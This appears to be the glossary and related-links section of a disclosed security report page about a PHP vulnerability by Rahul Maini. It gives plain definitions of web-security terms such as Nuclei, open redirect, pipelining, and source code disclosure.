  • Matcher: a rule in a scanner that decides whether a response counts as a hit.
  • Nuclei: a scanner that sends predefined requests and checks responses against matchers.
  • Open redirect: a link on a site that sends visitors to an attacker-chosen destination.
  • Parser: code that reads raw text and works out its structure.
  • Path: the part of a URL after the domain, such as /phpinfo.php.
  • PHP: a programming language widely used for websites.
  • Pipelining: sending several HTTP requests back to back without waiting for each response.
  • Proof of concept (PoC): a minimal demonstration that a vulnerability is real.
  • Query string: the part of a URL after ?, carrying parameters.
  • Reverse proxy: a server in front of another that forwards requests to it.
  • Shodan: a search engine for internet-connected devices and services.
  • Source code: the human-readable text of a program.
  • Source code disclosure: a flaw that lets an attacker read a program's source code.
  • SSL/TLS: protocols that encrypt traffic between client and server.
  • Static file: a file sent back unchanged, such as an image or HTML page, rather than executed.
  • Struct: a bundle of related variables grouped under one name in C.
  • Variable: a named place in a program that holds a value.
  • Web root: the directory from which a web server serves files.
  • XSS: see cross-site scripting.

More by Rahul Maini

View all

2 more disclosed reports, best first.

More from PHP

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.